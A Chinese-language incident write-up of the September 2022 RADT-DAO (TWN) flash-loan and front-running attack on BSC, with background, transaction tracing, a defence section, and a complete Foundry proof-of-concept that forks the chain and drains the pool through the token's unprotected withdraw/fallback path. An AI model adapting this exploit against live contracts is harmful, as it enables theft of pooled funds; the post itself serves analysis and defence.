2022年9月23日 RADT-DAO(TWN) 攻击事件分析与复现

  • KISSInori
  • 发布于 2025-03-21 22:52
  • 阅读 114

2022-09-23,DeFi警报|Blocksec的监控系统报告了一笔针对RADT-DAO(TWN)代币的抢先交易,损失约为94,304.58USDT,这导致RADT-DAO代币的价格下跌了81.97%,本文针对此安全事件进行介绍、分析和复现。

事件描述

DeFi 警报 | Blocksec的监控系统报告了一笔针对 RADT-DAO(TWN) 代币 (

0xd692f71de276801739 | Phalcon Explorer) 的抢先交易,损失约为 94,304.58 USDT。这导致 RADT-DAO 代币的价格下跌了 81.97%。整个事件中涉及了3比抢先交易和1笔受害者交易。抢跑交易的gasprice高达800多gwei,而被害者交易的gasprice只有15gwei,造成了巨大影响。

背景知识

闪电贷(Flash Loan)

闪电贷是 DeFi(去中心化金融)领域中的一种创新金融工具,允许用户在无需提供抵押品的情况下,借入大量资金进行交易。闪电贷的核心特点是:

  • 无需抵押:用户无需提供任何抵押品即可借入资金。
  • 瞬时还款:借款和还款必须在同一笔交易内完成。如果交易结束时未还款,整个交易将被回滚,确保资金安全。

闪电贷的流行协议包括 Aave、dYdX 和 Balancer 等。尽管闪电贷为 DeFi 带来了更多的可能性,但也因其无需抵押的特性,成为攻击者进行恶意操作的工具。

抢跑攻击(Front-Running Attack)

抢跑攻击是指攻击者在观察到目标交易进入内存池(Mempool)后,利用更高的 Gas 费特殊的交易排序方式,优先执行自己的交易,从而获取额外利润或影响目标交易的执行结果。

抢跑攻击广泛发生在 去中心化交易所(DEX)MEV(最大可提取价值) 交易、NFT 交易智能合约交互 中,通常利用矿工/验证者优先排序交易的机制进行获利。

抢跑攻击的主要类型

交易抢跑(Transaction Front-Running)

  • 通过提高 Gas 费,使攻击者的交易优先执行,影响目标交易的执行结果。
  • 案例:在 Uniswap 上用户尝试大额购买某代币,攻击者抢先购买,导致价格上涨,然后在用户交易执行后高价卖出。

MEV 夹子攻击(Sandwich Attack)

  • 监测大额交易(例如 DEX 交易),先买后卖,利用价格滑点套利。

  • 流程

    1. 观察到用户要用 ETH 购买 某代币
    2. 攻击者先买入该代币,导致价格上升。
    3. 用户的交易以更高价格成交。
    4. 攻击者再卖出该代币,从而获利。

撤单抢跑(Cancel Front-Running)

  • 监控限价订单NFT 竞拍,在用户提交取消交易前先行购买,从而阻止用户撤单并实现套利。

抢跑套利(Arbitrage Front-Running)

  • 监测跨交易所价格差的套利交易,优先执行套利,导致原交易失败或利润降低。

清算抢跑(Liquidation Front-Running)

  • 监控 DeFi 借贷协议的清算机会,通过提高 Gas 费抢先清算,获得清算奖励。

事件脉络

attack address:0xa957910cb426cb52dfc6dff5e582860a22db70d2
接收地址:0x90b50cab27ede09a0d59743e4112d6e87e838ff4
受害者交易:0xe4f697883c2963eda98245bf25ad4613b5f0bf623253ff886066a6dd37dc36f6
https://bscscan.com/tx/0xe4f697883c2963eda98245bf25ad4613b5f0bf623253ff886066a6dd37dc36f6
攻击分析:https://x.com/BlockSecTeam/status/1573252876289593344

核心问题

(1)为什么进行使用TWN换回USDT时,价格差距会变得这么大?

仔细观察这里的价格变化情况,可以看到两次swap的前后,在withdraw的过程中,币对价格发送了很大程度的变化,从而导致价格产生了大幅度的波动,最后造成损失。
image.png
在一列不安全转账后,TWN的代币数量急速下降,从8000多以太降低到最后不到1以太,假设按照当时的情况,原先第一次swap的USDT/TWN=95455/8078大约为11.82左右,而现在的代币价格比就是USDT/TWN=95454/0.11=867772.7左右。因此,第一次swap,用1000左右的USDT换取了85左右的TWN,第二次交换时,78TWN就会拿到特别多的USDT,具体的公式过程在PancakeSwap: Router v2合约中调用了swapExactTokensForTokensSupportingFeeOnTransferTokens函数,在收取手续费的情况下,实现兑换功能,价格获取的具体方式是getAmountOut函数,如下所示。

image.png

具体函数实现逻辑在https://bscscan.deth.net/address/0x10ed43c718714eb63d5aa57b78b54704e256024e
中,找gpt帮我计算了一下,是可以对应上的。

image.png

也就是说, 这个过程中,由于攻击者操纵了资金池中的代币余额(特别是通过触发fallback功能转移了池中的代币),造成了代币供需的极大不平衡,从而导致价格出现巨大差距。当池中的RADT-DAO数量被人为减少后,根据自动做市商(AMM)的定价机制,剩余代币的价格会大幅上涨,使攻击者在换回USDT时能获得比正常情况下更多的USDT。

(2)抢跑在哪里?

攻击者通过监控到原始交易,这个交易可能是正常用户想要交换一定量的TWN和USDT,攻击者发现TWN代币合约的fallback函数产生了漏洞,所以为了利用这个漏洞,就执行了3笔 交易的抢跑,然后利用fallback函数。攻击者迅速构造自己的交易序列并抢先执行:
○ 先借入大量USDT
○ 用部分USDT购买RADT-DAO(TWN),小幅影响池子价格
○ 触发fallback函数,这个函数错误地允许将池子中的TWN转移出去
○ fallback实现提款功能,但没有限制条件
○ 池子中TWN数量急剧减少,导致价格计算公式(x*y=k)中的比例失衡
○ 攻击者用剩余的少量TWN换回大量USDT,因为池子认为TWN变得极其稀缺

(3)怎么利用fallback函数?

TWN的合约代码在:https://bscscan.deth.net/address/0xdc8cb92aa6fc7277e3ec32e3f00ad7b8437ae883

攻击的方法为:
第一,攻击者观察到这个TWN合约允许通过_wrap地址调用合约,并可以操控任意地址间的代币转移;
第二,攻击者可以构造交易数据,使得满足下列条件: 确保funcSign是0x8987a46b或0x4f8f4dab,并指定f为Pancake池地址(持有大量RADT-DAO代币的地址),指定t为攻击者控制的地址,指定足够大的a值(转账金额),然后通过抢跑,在正常交易之前执行这个操作,将池子中的RADT-DAO代币转移走。

如下图。

image.png

第三,攻击者调用不存在的unsafetransfer函数,触发fallback函数,fallback函数检查逻辑简单,造成危险。

IWRAP wrap = IWRAP(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b);

上述过程中,wrap(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b)使用withdraw函数进行取款操作,withdraw没有具体实现,造成最后导致该地址一直可以调用fallback函数转出池子中的TWN代币,造成大额度的价格差距。

过程分析

(1)攻击者首先查询在PancakeSwap: Router v2合约中的USDT/TWN的授权额度,分别为340,282,366,920,938,432,866,500,285,482,799,434,314和0;
(2)授权PancakeSwap: Router v2合约更多的TWN额度;
(3)0x94a29654f2c2178321e2e9919fd2a5840ee963f1调用swap函数转出12,965,764给0x4a93d1973c7c9f257e6b52d7a6035f43ca1211cb;
(4)0xda26_DPPAdvanced委托0x7f60_DPPAdvanced调用flashLoan进行闪电贷,具体操作方法如下:

0xda26_DPPAdvanced转账给接收者地址243,673,213,068,049,612,594,655 USDT,
然后接收者调用DPPFlashLoanCall:

(a)首先,接收者利用PancakeSwap: Router v2合约 向 Pancake LPs (Cake-LP)池子中 转入 1,000,000,000,000,000,000,000 USDT 换取了85,313,419,073,296,524,387 TWN,最后去除小费,接收者拿到了78,488,345,547,432,802,438 TWN代币;

(b)接着,接收者向Pancake LPs (Cake-LP)转账 1 ether的UDST;

image.png
(c)wrap(0x01112ea0679110cbc0ddea567b51ec36825aef9b) 委托0x9122191d7b2ccf11a2600de4eafd6b8cd3d03a62Pancake LPs (Cake-LP) 中取出89,806 ether 的 LP token(0x68dbf1c787e3f4c85bf3a0fd1d18418efb1fb0be)

(d)Pancake LPs (Cake-LP)同步USDT/TWN现在的资金数;

(e)接收者利用PancakeSwap: Router v2Pancake LPs (Cake-LP)池子中转入78,488,345,547,432,802,438 TWN换取 95,305,580,256,723,571,814,836 USDT;

(f)接收者向0xda26_DPPAdvanced转账243,673,213,068,049,612,594,655 USDT完成还款
整个过程如下:

image.png

(5)0xda26_DPPAdvanced查询账户WBNW和USDT的余额,并完成闪电贷还款
image.png
(6)闪电贷完成后,接收者最终还有 94,304, 580,256,723,571,814,836USDT余额,于是接收者将这些余额全部转入0xcfb0cfc5ca8b8c1ad56dae5dd9720ea73f967ac7中, 这个账户使用了 CHI 代币 来减少 Gas 费用(CHI 是 1inch 交易平台中的 Gas 代币) ,并销毁了25 CHI。 (在 1inch 交易平台上完成的 USDT 兑换),最后获利大约94304.58 USDT代币。
image.png

分析总结

攻击者通过监测交易池mempool的情况,发现有一笔受害者交易可以被利用(执行相似的逻辑),于是攻击者构建了3笔gasprice更高的交易(大约900gwei,远大于受害者的15gwei),由于抢跑攻击,攻击者交易优先被矿工打包并执行。在攻击者的交易中,攻击者在交易中查询来自PancakeSwap: Router v2合约中的代币额度并授权,通过闪电贷借款大量USDT,并使用借款中的部分USDT换取TWN。此时攻击者利用接收者地址向池子中转
入1 ether USDT,并利用withdraw函数从池子中取出大量的LP token,由于在TWN代币合约中fallback函数的逻辑简单,攻击者利用wrap,在取款函数中设置大量不安全转账,利用fallback将池子中的TWN代币基本全部取走,仅仅留有0.11左右的TWN,接着,攻击者调用V2合约中的swap相关函数(包含手续费)执行交换代币的逻辑,利用大额的价格差,用极少量的TWN换取池子大量的USDT代币,最后再归还闪电贷的还款,最终池子损失约94,304.58 USDT。

攻击复现

攻击代码

攻击的具体代码如下,模仿上述过程。

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../utils/interface.sol";  //导入上一级的接口文件


interface IWRAP {
    function withdraw(address from, address to, uint256 amount) external;
}

interface IDODO {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assertTo, bytes calldata data) external;

    function _BASE_TOKEN_() external view returns (address);
}

contract ContractTest is Test {
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 TWN = IERC20(0xDC8Cb92AA6FC7277E3EC32e3f00ad7b8437AE883);
    Uni_Pair_V2 pair = Uni_Pair_V2(0xaF8fb60f310DCd8E488e4fa10C48907B7abf115e);
    IWRAP wrap = IWRAP(0x01112eA0679110cbc0ddeA567b51ec36825aeF9b);
    address constant dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        // fork 区块号
        cheats.createSelectFork("bsc", 21_572_418);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker USDT balance before exploit", USDT.balanceOf(address(this)), 18);
        USDT.approve(address(Router), ~uint256(0));
        TWN.approve(address(Router), ~uint256(0));
        // 闪电贷过程,借款200_000 ether USDT并操纵
        IDODO(dodo).flashLoan(0, 200_000 * 1e18, address(this), new bytes(1));
        emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);
    }

    
    //function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assertTo, bytes calldata data) external {
    //    IDODO(dodo).DPPFlashLoanCall(address(this), baseAmount, quoteAmount, data);
    //}

    // DPPFlashLoanCall
    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        SwapUSDTtoTWN();
        console.log("transfer 1 ether from receiver to pair");
        USDT.transfer(address(pair), 1);
        // 向池子注入流动性后获得的LP token
        emit log_named_decimal_uint("pair TWN banlance:",  TWN.balanceOf(address(pair)), 18);
        uint256 amount = TWN.balanceOf(address(pair)) * 100 / 9;
        wrap.withdraw(address(0x68Dbf1c787e3f4C85bF3a0fd1D18418eFb1fb0BE), address(pair), amount);
        pair.sync();
        SwapTWNtoUSDT();
        // 闪电贷还款
        USDT.transfer(address(dodo), 200_000 * 1e18);
    }

    // USDT -> TWN
    function SwapUSDTtoTWN() public {
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(TWN);
        console.log("USDT -> TWN");
        emit log_named_decimal_uint("[SwapUSDTtoTWN] Attacker USDT balance before", USDT.balanceOf(address(this)), 18);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            1000 * 1e18, 0, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("[SwapUSDTtoTWN] Attacker USDT balance after", USDT.balanceOf(address(this)), 18);
        console.log("[SwapUSDTtoTWN] Attacker USDT use: 1000 ether");
        emit log_named_decimal_uint("[SwapUSDTtoTWN] Attacker TWN balance get", TWN.balanceOf(address(this)), 18);
    }

    function SwapTWNtoUSDT() public {
        address[] memory path = new address[](2);
        path[0] = address(TWN);
        path[1] = address(USDT);
        console.log("TWN -> USDT");
        uint a = USDT.balanceOf(address(this));
        emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker USDT balance before", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker TWN balance before", TWN.balanceOf(address(this)), 18);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            TWN.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker TWN balance after", TWN.balanceOf(address(this)), 18);
        //emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker TWN use", TWN.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker USDT balance after", USDT.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[SwapTWNtoUSDT] Attacker USDT get", USDT.balanceOf(address(this))-a, 18);
    }
}

具体的代码允许逻辑参考:https://github.com/KISSInori/DeFiAttack_Foundry/tree/main/src/2022-09-23-RADT-DAO

复现结果

利用foundry进行攻击复现,通过模拟这个攻击的过程,改变价格差,最终可以发现攻击成功,获取利润。

image.png

总结

抢跑攻击成功的关键要素:

  1. 智能合约漏洞利用:攻击者发现了RADT-DAO合约中的漏洞,特别是在fallback功能中。这个漏洞允许攻击者操纵Pancake池中的代币余额。
  2. 前置知识:攻击者先看到了原始交易,然后在其执行前插入自己的交易。这不仅仅是简单的抢跑,而是利用了对即将发生事件的预知。
  3. 流动性池机制的不足:自动做市商(AMM)模型依赖于池中资产的比例来确定价格。当池中的代币分布被操纵时,价格计算会变得极不准确。

防御抢跑的办法:

1.实施防抢跑机制:

    ● 采用先承诺后揭示(Commit-Reveal)模式,交易者先提交加密的交易意图,然后在后续区块揭示
    ● 引入最小延迟时间,确保交易不能立即被执行
    ● 实施交易排序规则,如按照固定算法而非简单的"先到先得"

2.改进交易池设计:

    ● 使用私有交易池或加密交易池,减少交易可见性
    ● 实施交易混合(transaction bundling)机制
    ● 采用批量结算(batch settlement)方式,一次性处理多笔交易

3.合约安全优化:

    ● 严格的权限控制,避免敏感函数被任意调用
    ● 增加价格变动限制(price slippage protection)
    ● 实施交易额度限制,防止大额交易导致剧烈价格波动
    ● 全面审计合约代码,特别关注fallback函数等特殊机制

4.使用预言机保护:

    ● 引入外部可信价格源,避免完全依赖池内价格
    ● 设置价格偏差阈值,超出合理范围的交易自动拒绝
  • 原创
  • 学分: 0
  • 分类: 安全
  • 标签:
点赞 0
收藏 0
分享

0 条评论

请先 登录 后评论